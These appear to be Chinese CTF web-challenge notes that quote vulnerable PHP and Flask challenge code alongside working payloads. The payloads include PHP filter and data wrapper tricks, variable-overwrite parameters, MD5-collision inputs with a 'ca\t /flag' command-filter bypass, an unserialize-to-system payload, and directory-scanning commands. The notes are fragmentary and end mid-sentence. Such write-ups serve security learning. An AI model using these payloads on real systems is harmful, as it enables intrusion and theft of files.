BJDCTF2020]ZJCTF,不过如此
首先
?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64- encode/resource=next.php
或者
者
https://www.cnblogs.com/wangtanzhi/p/12328083.html
payload:/S*=${phpinfo()}
[BJDCTF2020]Mark loves cat
检测出/.git/HEAD 说明有git源码泄露
目录扫描,发现git文件,说明存在git泄露。
python2 dirsearch.py -u url -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
python2 dirsearch.py -u http://48a7b7e3-7fda-48d6-933c-53da0450ca75.node3.buuoj.cn/ -e * -s 1
不加-s 1延迟的话,会git文件也是429 (too many requests)
用GitHack下载git源码(没成功弄,还没搞到好的工具)
flag.php
<?php $flag = file_get_contents('/flag');
index.php
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
// 如果GET传了参数flag 且 传参flag值并不等于flag
if($_GET['flag'] === $x && $x !== 'flag'){ // $x=flag
exit($handsome);
}
}
// 如果GET没有传参flag 且 POST没有传参flag
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
// 如果POST传参flag的值为flag 或 GET传参flag值为flag
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
两种思路:
①前面的if都不进入,从而可以不被exit(),让函数执行到最后一行,输出$flag,但是前提是$flag值不能被修改
②在前面就进入if语句,利用exit()输出变量,利用变量覆盖漏洞,把前面可以输出的变量,比如exit($yds)输出$yds,想办法把$yds=$flag这样子覆盖赋值,输出flag
第一种思路:
为了不进入if,要避开所有的如果:针对三种情况,用非的思路
1、如果get传了flag,flag值要为flag
2、get和post中起码要post有一个传了flag
3、post和get传flag的话,值都不能为flag
可以发现,3种情况自相矛盾,所以不存在完美绕过
第一思路不可行
第二种思路:
进入if
1、传flag=非flag的内容
-->会修改flag的内容,不可行
2、GET没有传参flag 且 POST没有传参flag
-->可行 输出的是exit($yds) 想办法使$yds=$flag
get传:使$yds=$flag 对应代码中的$$x = $$y
foreach($_GET as $x => $y){ $$x = $$y; }
-->使$x=yds $y=flag
-->foreach($_GET as $x => $y)
-->get传yds=flag
-->可行
post传:使$yds=$flag 对应代码中的$$x = $y
foreach($_POST as $x => $y){ $$x = $y; }
-->使$x=yds y=flag
-->post传什么都做不到
-->不可行
payload:yds=flag
3、进入第三个if
即不能进入第2个if,就需要get和post中起码要post有一个传了flag,为了不改变flag,只能要传成$flag=$flag保持正常
进入第三个if
get传了flag=flag: 对应代码中的$$x = $$y
-->$flag=$flag 不改变flag
使$is=$flag
-->$x=is $y=flag
-->is=flag
-->可行
paylaod:get传flag=flag&is=flag
post传了flag=flag:对应代码中的$$x = $y
-->$flag=flag flag被改变了,成字符串
若传flag=$flag
-->$flag=$flag
-->说明$flag='$flag'这是字符串,解析不了
-->不可行
最后就两种payload
[安洵杯 2019]easy_web1
base64解码两次,再16进制构造内容555.png不要用那个绿色的在线解码工具,你解不出来,绿色的凯撒还会转小写,换其他网站的去解
根据这个,构造一个index.php的base64传进去,拿到源码
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a'])这个东西大家都用的这个
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
而且要用burp上传,这样就不会被编码
接着绕过命令
ca\t%20/flag
[网鼎杯 2020 朱雀组]phpweb
拿到了源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
由于命令执行和代码执行的函数都被过滤了,除了反序列化函数
- system(‘ls’) : 列举当前目录下的所有文件
- system(“find / -name flag*”):查找所有文件名匹配flag*的文件
- system(“cat $(find / -name flag*)”):打印所有文件名匹配flag*的文件
<?php
class Test {
var $p = "id";
var $func = "cat $(find / -name flag*)";
}
$a=new Test;
$b=serialize($a);
echo $b;
?>
payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}
[De1CTF 2019]SSRF Me1
刚开始会给不熟的东西吓到,但是已经接触过了,勇敢面对其实发现还是可以做的。
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
@app.route('/')
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
分析代码,@app.route("/geneSign", methods=['GET', 'POST'])这个目录下是用于生成签名的
@app.route('/De1ta',methods=['GET','POST']) 这个目录下调用Exec()函数,而这个函数
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
tmpfile.write(resp)
后面又读取
f = open("./%s/result.txt" % self.sandbox, 'r')
result['data'] = f.read()
return result
可以知道这个目录下可以读取到文件,传param=flag,action包含read和scan,一般为action=readscan 当然也可以readaaasacn或者其他,只要你后面生成的sign是对应的就行,但是要以scan结尾,因为sign生成函数里是scan结尾,key开头,我们可以控制的中间的部分
[NCTF2019]Fake XML cookbook1
分析源码
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
[ASIS 2019]Unicorn shop1
id=111&price=12
显示Only one char(?) allowed!
id=111&price=
显示TypeError: need a single Unicode character as parameter
网页注释里有写
<meta charset="utf-8"><!--Ah,really important,seriously. -->
说明要输入utf-8编码
flag应该是要购买第4个
找一个单字符大于1377的
接着我们在这个网站搜索大于 thousand 的单个字符,购买第4个:https://www.compart.com/en/unicode/
比如: